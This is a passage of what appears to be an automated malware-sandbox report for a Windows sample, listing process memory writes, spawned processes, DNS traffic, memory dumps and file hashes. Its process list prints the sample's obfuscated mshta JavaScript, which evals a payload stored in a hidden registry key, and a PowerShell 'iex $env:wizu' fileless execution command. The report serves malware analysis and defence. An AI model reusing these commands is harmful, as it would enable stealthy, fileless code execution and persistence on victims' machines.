PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 4280 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe
PID 3440 wrote to memory of 4660 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3440 wrote to memory of 4660 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3440 wrote to memory of 4660 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\bc15a3d99e38ae394eb2a5e71ae45829_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:J1wocIR="mHTMP";kT8=new%20ActiveXObject("WScript.Shell");rAbx74sT="I2";yq00yj=kT8.RegRead("HKLM\\software\\Wow6432Node\\uBXjN0vqRg\\bBPuf6V8b");Q9Phdrk="pFj";eval(yq00yj);XMxize5d0="xz";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:wizu

Network

Country Destination Domain Proto
US 8.8.8.8:53 148.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
NL 23.62.61.185:443 www.bing.com tcp
US 8.8.8.8:53 185.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 57.15.31.184.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

memory/3136-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3136-4-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3136-5-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3136-6-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-8-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-10-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-9-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-7-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-11-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/3136-12-0x00000000009C0000-0x0000000000A94000-memory.dmp

memory/4660-14-0x00000000026E0000-0x0000000002716000-memory.dmp

memory/4660-15-0x0000000005110000-0x0000000005738000-memory.dmp

memory/4660-16-0x0000000005040000-0x0000000005062000-memory.dmp

memory/4660-18-0x00000000058A0000-0x0000000005906000-memory.dmp

memory/4660-17-0x0000000005740000-0x00000000057A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzbfzrdv.oyk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4660-28-0x0000000005910000-0x0000000005C64000-memory.dmp

memory/4660-29-0x0000000005E10000-0x0000000005E2E000-memory.dmp

memory/4660-30-0x0000000005E50000-0x0000000005E9C000-memory.dmp

memory/4660-31-0x0000000007530000-0x0000000007BAA000-memory.dmp

memory/4660-32-0x0000000006EE0000-0x0000000006EFA000-memory.dmp